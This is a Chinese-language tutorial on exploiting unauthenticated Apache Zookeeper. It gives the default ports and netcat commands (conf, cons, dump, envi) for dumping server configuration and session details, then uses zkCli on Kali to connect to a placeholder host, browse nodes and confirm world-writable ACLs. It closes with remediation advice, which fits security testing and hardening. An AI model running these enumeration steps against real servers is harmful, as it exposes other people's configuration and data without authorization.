Zookeeper未授权访问

组件

app="zookeeper"

端口

默认使用端口:2181、2182

获取信息

  • conf命令
  1. 输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
echo conf | nc xx.xx.xx.xx 2181
1.jpg
  • cons命令
  1. 列出所有连接到当前服务器的客户端/会话的详细信息。
echo cons | nc xx.xx.xx.xx 2181 | more
2.jpg
  • dump命令
  1. 输出未处理的会话和临时节点,leader 节点有效。
echo dump | nc xx.xx.xx.xx 2181 | more
  1. 非 leader 节点看不到什么相关信息。
3.jpg
  • envi命令
  1. 输出服务器的详细信息。
echo envi | nc xx.xx.xx.xx 2181
4.jpg

连接测试

  • 安装工具
  1. 如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh。
# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh

连接目标

  1. 使用-server参数指定目标即可连接。
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
  1. 已连接

获取系统相关信息

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
WATCHER::
WatchedEvent state:SyncConnected type:None path:null
[zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:2181(CONNECTED) 1] get /
cZxid = 0x0
ctime = Wed Dec 31 19:00:00 EST 1969
mZxid = 0x0
mtime = Wed Dec 31 19:00:00 EST 1969
pZxid = 0x4c0
cversion = 4
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 6
[zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service
cZxid = 0x2
ctime = Thu Aug 30 02:58:40 EDT 2018
mZxid = 0x2
mtime = Thu Aug 30 02:58:40 EDT 2018
pZxid = 0x1cb884d
cversion = 7
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 3
[zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl /
'world,'anyone
: cdrwa

修复方案

1、设置防火墙策略限制 IP 访问【建议采取此种方案】
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL

你可能感兴趣的:(Zookeeper未授权访问)